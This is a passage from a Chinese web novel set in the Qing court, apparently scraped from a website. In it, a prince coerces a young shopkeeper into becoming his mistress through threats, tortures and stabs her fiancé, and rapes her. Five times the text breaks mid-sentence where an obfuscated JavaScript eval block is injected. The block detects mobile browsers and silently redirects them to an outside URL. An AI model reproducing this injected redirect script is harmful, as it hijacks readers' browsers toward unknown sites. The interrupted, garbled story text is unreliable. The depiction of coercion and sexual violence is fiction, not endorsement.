真到了大年初五当天,张宗那边请了不少长辈过来,包括他的一些叔公、舅公等人,基本上是有官职的,约莫十来个长辈。
乌家这边只有她姑母姑父,还有她亲舅舅跟亲舅妈。
两家人初次见面,大多客气有礼,说话有度,两家都要结亲了,自然不好结仇。
乌锦晓得张家长辈初次见到她时算不上满意,眼里深处透着几分嫌弃,只是不好展现在脸上,像张宗的舅母跟她说话时问起她脸上伤疤如何来的,说要是没有脸上那道疤就更好了,左一句可惜右一句可惜,很明显是很在意她脸上的疤痕,说她嫁给张宗是八辈子修来的福气,言语之中对她带有贬低,认为她配不上张宗。
大多数时候,他们还是客客气气说些好听话,让提亲场面过得去。
张宗是随着一起过来的,在两家长辈当中周旋,说一些他们小时候的事来展示他们两人从小一块长大的情谊,两家人在闲聊与吃吃喝喝中还算是融洽和善地度过半天,他们家也给张家一些回礼。
等外客都离开后,她姑母说张宗不错,她能嫁进张家是一种福气,让她好好把握,一向寡言的姑父也说张宗是可用之才,往后可能不止是六品武官,说是一门好亲事。
乌锦笑着应下,说她会把握住的,等姑母姑父也离开后,家中只剩下舅舅跟舅妈两位长辈,他们跟着她额娘跟小娘开始盘点送来的提亲礼。
张家送过来的提亲礼十分丰厚,该有的都有,包括聘金、三牲、四京果、四色糖,茶叶跟各色绸缎等,额外还有整一套头面跟六套旗装,一共有六个大红箱子,那套头面全是黄金制的,里头的嵌珠晶莹剔透,十分精巧。
张家能在短短几日就备足这些东西,可见张宗也是花了一番心力,舅舅跟舅妈也夸赞张家家底颇丰,她嫁过去至少不会过贫苦日子。
当天傍晚,她阿玛跟她舅舅两人高兴地又喝了四盅酒,一人两盅,吃过晚膳后,舅舅跟舅妈才离开。
11. 第11章
第11章
她跟张宗的亲事定下来后,他们家这个年过得很开心,她被她额娘带着到各家亲戚那拜年。
她阿玛只有一个亲妹妹,也就是她的姑姑,她姑姑五年前难产而死,她的姑丈很快娶了续弦,两家人慢慢少了来往,乌家的族亲更多在她姑母那边,只是她姑母姓乌,而她姑母的几个孩子姓纳喇,属于纳喇一族的人,算起来乌家的人其实不多。
而她额娘有两个姐姐、一个妹妹跟一个弟弟,她舅舅是年纪最小的,她额娘在家排行老三,完颜一族的人就多了,不仅有她外祖父这一脉,她外祖父的兄弟姐妹也多,但那些只能算是族亲,隔着好几层,自然关系就不是那么亲厚,顶多逢年过节走一趟亲戚。
她阿玛没有官职,只是普通的牛录,别人更不会想主动攀他们家的亲戚了。
她小娘更不用说了,本来就是汉民,她小娘那边的两个舅舅更没有机会当官,只能做些小生意,养家糊口。
反正过年走亲戚的日子过得特别快,年过完后,张家那边算好日子,确定三月初十是良辰吉日,适合迎亲嫁娶,又请几位长辈过来他们家一趟征求他们家的意见,双方家人同意后正式确定下来婚期,张家那边开始正式张罗婚事。
乌锦的铺子在年后也开始开门营业了,因张宗每日都要去城郊的兵营进行训练,早出晚归,他为了能见到她,每日都会先绕到她铺子这边跟她见一面,说上几句话才去兵营。
一月过去,到了二月初,乌锦的心渐渐安定下来,只剩下一个月,她便会嫁人,成为人妻,一切进展得很顺利,那人没法再强迫她当外室,她不会再遇到那个人。
……
二月七日,这一日天气晴好,难得有阳光出来,胤禛从宫里出来,到简亲王府跟雅尔江阿见面。
上个月因为过年,宫里事情多,加上他身为皇子要跟着皇阿玛参加各种席宴,他忙得没时间出宫。
雅尔江阿传信说银楼的事情已经办妥,他不放心才出宫一趟,他被领着进去雅尔江阿所住院苑的书房中,他坐在一把紫檀木雕花椅上看雅尔江阿交给他的各种地契等官印文件。
“四阿哥,我办事你放心,一共花了八百两,只是不知四阿哥要不要留下原先银楼的那些人?”
胤禛把那些文件放在一边,抬头道:“原先的工匠可以留下,至于掌柜就没有必要留,重新找个可信的人,银楼的名字没必要换,选个日子开业,我不方便日日出宫,银楼的事,还是你帮我在外面盯着。”
雅尔江阿应下。
胤禛视线一移,见到书桌上那张红色喜帖,他顺手拿起来看一眼,本只是随意看一眼,直到见到乌锦二字,他才将请柬细读一遍。
“从三品武官镶蓝旗参领张文渊之长子、镶蓝旗正六品武官骁骑校张宗于三十四年三月十日迎娶镶蓝旗第三参领第十二佐领牛录之长女乌锦,恭请……”
雅尔江阿见四阿哥神色不对,他解释一句说这是他阿玛属下参领张文渊给他阿玛送来的请帖,只是他阿玛那日要进宫觐见圣上,便将请帖移交给他,让他出席。
张文渊是他阿玛的亲信,深受他阿玛信任,换成其他人,他阿玛可能只是随一份礼过去,只是张文渊是他阿玛的心腹之一,简亲王府必须得给张家几分体面,让张家人更能为他们所用,更加忠心耿耿,他作为阿玛的长子,将来的镶蓝旗旗主,是最适合代他阿玛参加婚宴的人选。
胤禛把请柬放下,没说什么,起身离开。
雅尔江阿送四阿哥他们出王府,见到四阿哥上了马车后,他还是一头雾水,明明刚刚还说得好好的,怎么突然变脸,他都不敢多说什么。
胤禛坐在马车里面,几乎是冷笑一声。
他还真是没料到那女人胆子这么大,这么急匆匆把自己嫁出去,不就是在打他的脸嘛,对他嫌弃至极,宁愿嫁一个三品参领之子,也不愿意当他的外室。
原先都没有听说过的婚事,她在一个月内就走完提亲订亲的流程,三月初便要出嫁。
胤禛眼睛里迸发着寒光,他倒要看看她能不能嫁出去!
不知死活的女人,他会让她后悔的。
“苏培盛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878492|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去那个女人的铺子。”
坐在马车左边车辕的苏培盛听到里头传出来的话,还愣了一下,没反应过来主子爷说的那个女人是谁,只是主子爷交代的话向来不喜欢别人问第二遍,他又细想一会才意识到主子爷说的那个女人指的是谁。
他以为主子爷已经把乌家那个姑娘忘了,毕竟只是一个样貌丑陋的姑娘,平平无奇,比不上宫里那些花颜月貌的主子。
唯一比较特别的是乌姑娘拒绝当主子爷的外室,说只愿为妻。
苏培盛跟了主子爷这么多年,哪里听不出来主子爷此时心情不好,怕是乌姑娘要遭殃了。
马车行驶了半个时辰,最后停在绣秀苑所在街道的左侧边。
胤禛掀开车帘,恰好见到那个女人站在铺子门口跟一男子在说话,她眼神中好似有万千柔情,正含情脉脉地看着那男子。
那就是她的未婚夫吧,好像叫张宗。
乌锦这边的确在跟张宗说话,张宗今日休沐,只是他们婚期将近,是被禁止私下相见的,说是不吉利,只是张宗还是过来找她,送给她一串五颜六色玉珠子串成的手链,说是那些珠子都是他亲自收集的,手链也是他亲自串的。
“这是我一个人给你的聘礼,独一无二的,这世上我只会给一人聘礼,我不会纳妾,这辈子只有你一个人。”
乌锦抬眸看着张宗,他温柔又郑重的承诺让她陷入这份情意中,她被这份温柔打动。
“张宗,你要记住你说过的话。”
“放心吧,不会违背诺言的,若是我不信守承诺,我愿意天打五雷轰。”
乌锦轻轻笑了笑,摩挲着戴在她手里的手链,玉珠子冰凉圆滑的触感让她忍不住一摸再摸,她笑道:“好啦,呸呸呸,别乱发誓,赶紧回去吧,要是被别人看到我们成亲前见面就不好了,反正只有一个月了,以后能天天见,不用急在一时。”
“那我走了。”
乌锦摆摆手,示意他离开,在张宗离开后,她也转身进铺子,她没注意到停在铺子不远处的马车,更没注意到那道阴鸷凌厉的目光。
12. 第12章
第12章
乌锦在铺子的柜台前看账本记账,光影被挡住,眼前一暗时,她抬头见到一穿着青缎云纹对襟褂子的男子,她认得这人,这男子是那人身边的随从,虽只有两面之缘,但她记下他们的脸。
“乌姑娘,我家主子爷有请。”苏培盛轻声道。
“我三月初便要嫁人了,该说的话我已经说过了,我觉得我跟你家主子已经没什么好说了,你们不能无法无天,大清还是有律法的,我不过是普通女子,还请放过。”
苏培盛在心里叹口气,不是他没放过她,他一个奴才哪做得了主,他其实也不明白主子爷为何执意要乌姑娘当外室,主子爷身边明明不缺女人,真想要乌姑娘,主子爷大可让乌姑娘进宫当庶福晋。
“乌姑娘,我家主子爷说了乌姑娘若是不过去,明日乌姑娘的阿玛便会再次下狱。”
乌锦抬眸,眼里迸发着些许怒意,这是赤.裸裸的威胁,偏偏这威胁很管用,她不敢拿她阿玛来赌,因为她知道那人能做到,皇权之下,普通人哪里反抗得了。
“还请公子在此等候片刻,我去叫人帮我看着铺子。”
乌锦去隔壁的古玩铺把跟人闲聊的彩玉叫回来,让她帮忙看着铺子,她有事出去一趟。
她被领着上了一辆马车,坐在马车里面的人正是裕亲王世子爱新觉罗.保泰,他目光阴寒地盯着她。
在封闭的车厢内,她只觉得自己无处遁逃,她忍着怒气还是说了一声世子万福。
胤禛半眯着眼,目光将她整个人扫视一圈,上袄下裙,只简单戴着一根素银钗,不抹脂粉,看不出来是要准备嫁人的新娘子。
乌锦面对他的视线,不自觉地往后退了退,后背已经贴着车厢内璧,她感觉到马车动了,往前驶行。
“世子要带奴婢去哪里?”
胤禛没回答她的话,而是冷冷开口:“我听说你要嫁人了,未婚夫是什么参领之子,可有此事?”
乌锦双手交叠收拢放在腿上,努力克制自己心里头的紧张,说道:“奴婢先前跟世子说过,我有亲事在身,本就定在今年完婚,我们年纪都不小了。”
胤禛往前靠近,目光深沉似海,抬手捏着她的下巴,似笑非笑,缓声道:“看来你是没把我的话放在心上,既然是我的人,你想嫁人,那要看我同意不同意。”
乌锦对上他的黑眸,只觉得他这个人阴森森的,想挣脱出他的桎梏,但莫名不敢动作:“世子,奴婢快要成亲了,还请世子放过奴婢,奴婢面丑,卑贱不堪,不值得世子沾碰。”
胤禛忽然笑起来,手上的力道收紧:“快要成亲了?那不是还没成亲嘛,你以为这门亲事成得了吗?”
乌锦下巴被捏疼,她眼睛陡然睁大,他想做什么?她跟张宗的婚事近在咫尺了,他还想抢亲吗?还是想把她带去什么偏僻无人的角落杀了她?
“害怕了?”
“世子,奴婢卑贱,不值得世子染上鲜血。”
胤禛轻嗤一声,说了一句他这双手早已经染过鲜血了。
乌锦后背发凉,当即想跳下马车。
胤禛察觉到她意图,又说一句:“想跳下去?你以为你逃得了?你别忘了你在石桥胡同的那些家人。”
乌锦知道这人已经把她的底细查得一清二楚,她铺子在哪,她的家在哪,他显然都一清二楚,她根本逃不掉,她有些颓丧地地闭了闭眼,不想跟他说话。
胤禛没管她,终于松开她,坐正身子。
不知过了多久,马车停下来后,车帘被掀开,胤禛先从里面踩着人背下了马车,他主动伸手想牵她。
乌锦自己从马车上跳下来,避开他的手。
胤禛只是勾唇笑了笑,没说什么。
乌锦环顾四周,这里好像是京城外城,并非是完全偏僻无人的角落,面前是一处普通的宅院,大门上方没有挂横匾,亦没有石狮子跟大柱子在门前。
一般有些门户的人家大门处都会有横匾跟石狮子,越是尊贵的人家,这门口越是气派宏伟,因为这象征着地位跟身份,眼前这座宅子只是拥有一扇普普通通的梨花木门,
乌锦打量几眼后见那人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878493|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
示意她跟着进去,都到这里,她也只能跟着进去。
“以后你便住在这里,我会让两个嬷嬷过来照顾你起居,每个月给你二十两银子任你支配,我不在时,我允你归家,跟了我,你可以享受荣华富贵,只是你不能对外人诉说我的身份,既然是外室,你便是上不了台面,日后在别处见到我,也当做不相识,不要主动跟我攀谈,你阿玛当了这么多年牛录,我可以升你阿玛当个佐领。”
乌锦听着他的话,双目微赤,这宅子敢情是他金屋藏娇的地方,他要她在这宅子里面当他见不得人的外室。
他语气平静,无所顾忌地说着折辱她的话,全然忘了她是即将成亲,成为人妻的人。
“世子,我不愿,我就要成亲了,我只愿意为人妻,还请世子放过我。”乌锦无心再打量这宅子里的一切,她一步步往后退,不愿意再跟着他进去。
胤禛回头,嘴角噙着冷笑,目光越发冷沉:“乌锦,你以为你有选择的机会吗?”
“世子,你不能强人所难,我不要当见不得人的外室,再过一个月,我便是张宗的妻子。”
“到时候我会让人购置一些日常用到的东西放在这里,这里还缺一些东西,这院子的花草也少了一些。”
他漫不经心又自顾自地继续说着,仿佛她成为他的外室已是定局,她看他像个听不懂人话的疯子,而这宅子像是一个囚笼,他要把她困在这里!
乌锦转身就跑,想离开这里,她跑得很快很急,很快跑出这宅子。
“主子爷,追吗?”苏培盛问道。
胤禛摆摆手:“不用,她日后会心甘情愿回来住在这里的,今日先放过她一回,你找几个可信的人将这里归置归置,日后在她面前不要暴露我的身份,也不要暴露你的身份,在她面前,我就是保泰。”
苏培盛是他近身太监,跟了他也有十年,宫里宫外不少人也知道他的身份,那个女人不是愚笨之人,一时口误会让她有所警觉的。
兔子都走了,他跟谁介绍这地方,自然也无心再待下去,很快带着人离开。
13. 第13章
第13章
乌锦跑出去后从外城雇了一辆马车,花了一个多时辰才回到绣秀苑,惊魂未定,彩玉问她去哪时,她不知从何说起,敷衍过去。
她只盼着三月十日快点到来,又是一段看似平静的日子过去,张宗依旧每日去兵营前过来见她。
二月二十五日清晨,京城的天稍稍回暖,晴空万里,乌锦跟彩玉一早过来绣秀苑,她在铺子里面刺绣。
“小姐,再过十几日,你便要嫁人了,我舍不得你,晚上我要是害怕,谁陪我睡觉。”
乌锦不打算把彩玉带去张家,彩玉还是留在他们家,她好不容易经营起来的铺子也不打算关,婚后除了住在张家,其它的跟往常没什么不一样,她已经跟张宗说好了。
她笑着看双手托腮坐在小马扎的彩玉,打趣道:“等将来你也嫁人了,你的丈夫会陪你睡觉的。”
彩玉是黄花大闺女,顿时害羞起来:“小姐,你胡说什么,我才不要嫁人,我还小,今日怎么没见张大哥过来,小姐一早给张大哥做的萝卜糕怕是要变凉了。”
乌锦晓得彩玉是在转移话题,不过她也觉得奇怪,这会张宗应该过来了,她示意彩玉出去看看,依旧不见人影。
又过好一会,张宗仍然没出现,乌锦寻思着他应该有什么事在路上耽搁了,或有可能直接去兵营那边了。
乌锦在铺子里忙了一天后,天黑前跟彩玉回家,在他们一家人用晚膳时,张家那边来人,问她今日有没有见到张宗,她心里莫名咯噔一下,跟来人说她没见到张宗。
事实是张宗真的不见了,据张家的人说张宗早上出门后便一直没有归家。
两家人找了两天两夜也没找到人,谁都不知道张宗去了哪,仿佛凭空消失一般,他们把张宗能去的地方都寻了一遍。
本来她跟张宗婚期将近,没剩几日了,突然发生这种事,两家人都忙着找人,暂时没有心思操办婚宴。
二月二十七日中午,张宗消失的第三天,乌锦筋疲力尽地从张家那边回到自己家。
“桃子,张宗还没找到吗?你说活生生的一个人能去哪里?”完颜氏担忧地说道。
乌锦摇摇头,她倏地想到什么,还没坐下就往外走。
“桃子,你要去哪?”完颜氏在后头喊。
乌锦急匆匆在附近寻一辆马车,给车夫一两银子,让他载她去外城,她来到原先保泰带她来过的宅子,门口无人把守。
她进到院子后先闻到一股淡淡的血腥味,院子地面上有一摊血渍,正对着院子的大堂内,她见到张宗头上被套着黑麻布,整个人被绑在一张雕花木椅上,身上的衣服被血浸透,已经看不出伤口在哪,遍体鳞伤,看上去奄奄一息,只剩下最后一口气,一走近就能闻到浓烈的血腥味。
“张宗……”她轻声唤他,半跪在张宗面前,想给他解开绳子,她听到后头的脚步声,她回头,那人带着好几个人走进来。
他穿着一身莲青色云蟒缎棉袍,袍边滚着金线的斗纹,一步步走过来时气势逼人,华贵万分。
“还想嫁给他吗?”他问。
乌锦的喉咙仿佛被什么堵住一般,说不出来话。
“桃子……”身后传来微弱低啞的声音。
她紧张地握住张宗的手,他的双手尽是干涸到一半的血渍,“张宗,是我,我是乌锦,你没事吧?”
问完后乌锦就恨不得扇自己一巴掌,他这个样子哪是没事的样子,估计半条命都要没了。
“我这是在哪?为何我看不见?”
“你受伤了,我这就给你解开。”乌锦想给张宗解绑,她越着急,手越是颤抖。
“乌锦,他的命在你手里,我最后问一遍,你愿意还是不愿意,你若还是不愿,他今日便走不出这道门!”
乌锦回头冲着他崩溃大喊:“你为什么要逼我?我样貌丑陋,低贱不堪,你为何一定要我?为何要苦苦相逼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878494|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?我到底做错了什么?”
胤禛靠近,半蹲在她面前,抬起她惨白的脸庞,目光阴鸷,透着寒意,一字一顿:“愿还是不愿?我最后问你一遍,信不信,我能让他立即命丧于此,你还没嫁出去就成为寡妇。”
“乌锦,别答应他,不管是什么,别答应他。”张宗在她身后气弱道,“我宁愿死也不要你为了我而委屈自己。”
胤禛起身从他身后随从那拔出佩剑,想也没想地直接横刺张宗一剑,刺中他胸膛后又迅速拔出,剑刃拔出时有哧哧的声音。
温热的鲜血溅到乌锦脸上,剑也差点划到她的脸,她不可置信,用手试图捂住张宗身上涌出来的鲜血。
张宗疼得闷哼一声。
“下一剑就是划破他的喉咙,一剑封喉,这喉咙要是划破,想要止血就没那么容易了。”
乌锦信这个人真做得出来,他不似在开玩笑,他就是疯子,他做得出来,张宗的命在他眼里怕是如同蝼蚁一般,不值一提,他们这些人在他这种权贵眼里什么都算不上,想杀就杀,她又气又畏,张宗身上的血也把她的手染红,对上他冷酷的眼神,她几乎是咬着牙说:“我愿意,我愿意,你放他一条生路,从此以后,我跟他再无干系,我不会嫁给他,我不会嫁给别人,还请世子饶他一命!”
乌锦跪下来求他,她不愿意看着张宗死。
胤禛勾勾唇,他就说他会让她跪下来求他的,他把剑扔给身后的人,轻声道:“既然你都开口求我了,我哪能不答应你,我饶他一命,来人啊,把他送回去吧。”
乌锦看着那些人把张宗抬出去,怕他们又暗暗杀人,她说了一句送回张家,见到那人点头同意,她才无力地瘫软在地。
她对不起张宗,是她害他至此,若不是她,张宗不会遭此劫难,她把张宗当做救命稻草一般抓住,实则是害了他,他受这么重的伤,不知道能不能活下来,若是没能活下来,她这辈子要活在巨大的愧疚中。
14. 第14章
第14章
“来人啊,准备热水,给她洗洗。”
两个嬷嬷不知道从哪里冒出来,领着她过去另外一间房,准备热水给她沐浴。
乌锦还没从张宗受伤的情绪中走出来,嬷嬷想要触碰她时,她抬头制止,说她自己来,让她们出去。
两个嬷嬷有些迟疑,不过还是走出去。
乌锦知道那人的耐心怕是也耗尽了,今日便要失身于他,她不在乎清白贞洁,不会把第一次看得很重,她只是突然间特别厌恶痛恨这个人,想到被他碰触就犯恶心。
两个嬷嬷给她放了一套干净的衣服在旁边,她没穿,还是穿着她的衣服出去,她被领去主间,那人已经坐在铺炕上等她。
两个嬷嬷又退了出去,屋内只剩下他们两个人。
胤禛看着她还穿着沾着血渍的衣服,什么也没说,只是勾勾手指让她走过来,见她还站在原地,他反而耐心十足,浅笑道:“我劝你最好识相点,免得吃苦头,若是把我伺候好了,你跟你家人也能过得安生,不然……”
他故意顿了顿,尾音拖长,薄唇轻启:“我能把你的好日子搅得天翻地覆,不得安生!”
乌锦知道他有能力做得到,她这才慢慢走近,离他只有一步距离时,她的手腕被攥住,他一把扯过她,她跌坐在他怀里。
胤禛感觉到她身子的僵硬,她在强装镇定,只是紧咬的下唇透露出她的不情愿与紧张,他视若无睹:“既然是你自己愿意的,别摆出一副贞洁烈女的样子,不知道的还以为是我非要强你,乌锦,我告诉你,你若是不情愿,现在就可以走。”
乌锦几乎是冷笑,她要是走了,他能放过她身边人,明知她被他威胁,她走不了,他还故意这么说。
胤禛就喜欢看到她不愿低头的倔强样子,这样的人折辱蹂躏起来才会让他产生一种快意,他伸手捏着她光洁的下巴,俯身凑在她耳旁低语:“晓得如何当外室吗?懂得伺候男人吗?你不走,便代表你是自愿的,从今日起,你便是爷的外室,既然当了外室,你就要尽到你的本分,你就是供爷开心的玩意,要是让我不高兴,后果,你知道的。”
乌锦不想听,只是又不得不听,他的话犹如魔音一般在她耳边萦绕放大,他轻吐出来温热气息喷在她脸上让她内心作呕,细碎的吻紧接着落在她脸上,她不甘地闭上双眸。
胤禛一把把她抱起来,朝拔步床边走去。
当他压上来时,乌锦真的想狠狠推开他,最后只能压下这股冲动。
“张嘴,别让我说第二遍。”胤禛见她红唇闭得紧紧的,他出声命令道,等她红唇微张后,他覆上她的红唇,舌.头很快探进去,使劲勾着她的舌。
对乌锦这样的女人,胤禛自然不会产生什么怜惜之情,只管自己痛快,褪去所有衣物后,他要的又急又凶,没有顾及她是初次,也没管身下之人的反应,十分粗鲁且强硬闯入。
乌锦全程忍耐,没有出声,整个人是僵的,是冷的。
事后,乌锦平静地躺在床上,他已经叫水了。
胤禛简单清洗后跟两个嬷嬷交代让她们备好避子汤。
“那世子爷,往后都是如此吗?”
“盯着她喝完,日后不必再问,我不在的时候不用管她,还有管好你们的嘴。”
她这样卑贱的女人不配生下他的孩子,胤禛不可能让她生下孩子的,时辰不早了,他带着人离开宅院,没有回头看乌锦一眼。
乌锦听到外面动静变小了,她想他们应该离开了,她自己起身,刚准备穿上衣服,两个嬷嬷又进来。
“乌姑娘,我们伺候你吧。”
乌锦只觉得浑身酸痛,下半身仿佛被撕裂一般,床上也有斑斑血迹,她那身衣服沾上张宗的血,若是这样归家,免不得被多问,已经穿不得,她哑着声音吩咐她们拿一套干净的衣服给她。
这里是京城外城,离她家有点远,她让她们看能不能给她找一辆马车,她要回家,本以为会遭到阻拦的,她只能留在这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878495|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但出乎意料,她并没有被阻拦。
“世子爷说姑娘可以归家,只要世子爷不在的时候,乌姑娘可以想去哪就去哪。”其中一个嬷嬷解释一句,“不过乌姑娘可能要等一会才能走,汤药还没熬好。”
“什么汤药?”
两个嬷嬷互相对视一眼,犹犹豫豫。
“避子汤?”
见她们没有否认,乌锦便明白了,定是那人吩咐的,他怕她怀上孩子,外室怎么能有身孕,她嘴角划过一抹讽刺,又要养外室,又不想外室怀上孩子,她同样不希望自己怀上孩子,喝避子汤对她而言是好事,她才不要生下一个不被期待的孩子,对孩子而言是不公平的。
她问了她们的名字,两个嬷嬷看起来只有三十来岁,一个叫谢曼贞,一个叫瓜尔佳.月依,她再细问,她们就显得有些谨慎,不愿多说,估计那人特意交代过了,她估摸着她们是八旗内的包衣奴才。
过了不知多久,谢嬷嬷给她端来热腾腾的汤药,乌锦等放凉后才一口喝完,苦涩的汤药进到嘴中,反而让她得到几分安心,真怀上孩子也是堕胎的命,何苦拿自己的身子过不去。
“乌姑娘,马车已经候在外面了。”谢嬷嬷说了一句。
乌锦只想离开这座宅子,最好是永远不回来,她很快走出大门,匆匆上了马车,让车夫回石桥胡同那边,刚回到家,她额娘便说张宗被找到了,有人将受伤的张宗扔到张家大宅门口,听说伤得很严重。
“额娘,我过去看看张宗。”
“你方才去哪了?”完颜氏问了一句,没注意到她衣服换了,“你阿玛跟小娘都过去张家了,你要不先在家里等吧。”
还有几天便是成亲的日子,却出了这种事,完颜氏怕张家人迁怒到自己女儿身上,认为是她女儿不吉利,给他们家带来厄运。
乌锦觉得自己愧对张宗,她只想确定张宗无恙,没听她额娘的话,还是过去张家一趟。
张家离他们家很近,只隔着几条胡同。
15. 第15章
第15章
乌锦到张家时,张家的下人正忙着再找大夫,她到张宗所住的西院,基本上张宗的家人都聚在张宗的房间,她阿玛小娘也在。
房间内满满当当全是人,而张宗躺在床上,不省人事,处在昏迷中,屋内已经有两个大夫替张宗处理伤口。
张母秦氏哭得泣不成声,其他人大多眼眶泛红,她刚进屋时,秦氏边含着泪边狠狠地瞪她一眼,仿佛知道是她害张宗至此。
那两名大夫在处理伤口时频频摇头,脸色沉重,跟屋内的人说张宗失血过多,有些伤口过于严重,他们需要去皮剥肉来缝制伤口,太过血腥,请他们回避一二。
张父张文渊示意其他人回避,秦氏不愿意离开,最后夫妇两留在屋内,其他人都暂时在房间外等待。
乌锦脸色发白地站在她阿玛身边,内心祈求老天让张宗活下来,只过一小会,张文渊出来,喊她进去。
她进屋后发现昏迷的张宗嘴里无意识地呢喃着她的名字,她忙过去半跪在床边握住张宗的手。
“张宗,我在,我在这里。”乌锦说着说着就哽咽,眼泪不由自主掉落,滴在张宗手上。
“乌锦,乌锦……”昏迷的张宗听不到她的话,只是重复地唤着她的名字,乌锦也真正见到张宗全身的伤口,真的是遍体鳞伤,身上没有完好的皮肤,胸膛上被刺一剑的那处直接出现一个血窟窿,大夫正在拿针为他缝制伤口。
“参汤跟凝血补血的汤药熬好了没有,赶紧端过来给公子喝一碗,不然他可能撑不下去,还有有再取些热水跟干净的巾帕过来。”其中大夫说了一句。
张文渊忙让人去端熬好的汤药,催着府里的下人去热水跟巾帕。
乌锦一直守在床边握着张宗的手,看着张宗被灌了几碗汤药,后面又有一位太医院的太医过来给张宗医治。
两位大夫加上一位太医花了快一个时辰才勉强处理好所有伤口,只是他们说伤得太重,能不能醒来还不得而知,过了今晚才知道。
秦氏哭到眼睛红肿,求着太医一定要治好她儿子。
一晚上,他们都跟着大夫跟太医守在张宗房中,大夫每隔一个时辰给张宗换药,乌锦一直守在床边握着张宗的手,就这样守了一夜。
她阿玛跟小娘先回家了。
躺在床上的张宗脸色发白,嘴唇毫无血色,只有微弱的呼吸能证明人还活着。
第二天天亮,张府的下人给她送来一些吃食,乌锦吃不下,摇摇头拒绝。
同样熬了一夜的秦氏许是见到她是真心实意地担忧自家儿子,对她的态度有所和缓,让她多少吃点东西,不然人撑不住。
乌锦这才勉强喝一碗粥。
张宗到第二天依旧没醒,甚至还发烧了,开始呓语,嘴里说着含糊不清的话。
张家人都没有心思去询问是何人伤得张宗,皆盼着张宗这次能度过难关,性命无忧,张文渊又去请了一位从太医院退下来的老太医到张府给张宗医治。
因张宗重伤,十天内必定痊愈不了,她跟张宗的拜堂成亲仪式跟婚宴先取消了,乌锦连着好几天都陪在张宗床边,照顾着张宗,基本上没怎么阖眼。
到了第五天,张宗才终于醒了,转危为安,但乌锦自己却因太过疲惫,精神紧绷而昏了过去。
等她醒来时,已是傍晚时分,外面天色已暗,彩玉穿着一件豆青色褙子坐在床边做针线活。
“彩玉……”
彩玉回过头,见到她醒了,眼睛一亮,忙把手头上的活计放下来,“小姐,你终于醒了,你睡了一天一夜,大太太,小太太……”
彩玉朝外面高喊,很快,她阿玛等人进到她的房间,个个都很担心地看着她。
乌锦自己也从床上坐起来,背倚在床头。
彩玉给她倒水,她喝一碗水润润喉才出声问张宗怎么样了。
程姨娘说张宗性命已无大碍,只等后续养好伤就好了。
乌锦心里松一口气,她看着她阿玛跟额娘,郑重道:“阿玛,额娘,我跟张宗的亲事就算了吧,我们家跟张家说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878496|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
退婚吧,我不想嫁给张宗了,把聘礼退给张家。”
完颜氏十分诧异,立即坐在床边:“好端端的怎么突然说退婚?只是成亲仪式取消而已,到时候我们跟张家再挑一个好日子再办婚宴就是,等张宗伤好了,你们还是可以成亲的。”
程姨娘也在一旁说道:“是啊,桃子,怎么突然间就要退婚?可是跟张宗受伤有关?大夫说张宗这次虽然伤得重,但后续能慢慢痊愈的,这个时候退婚,别人会认为我们落井下石。”
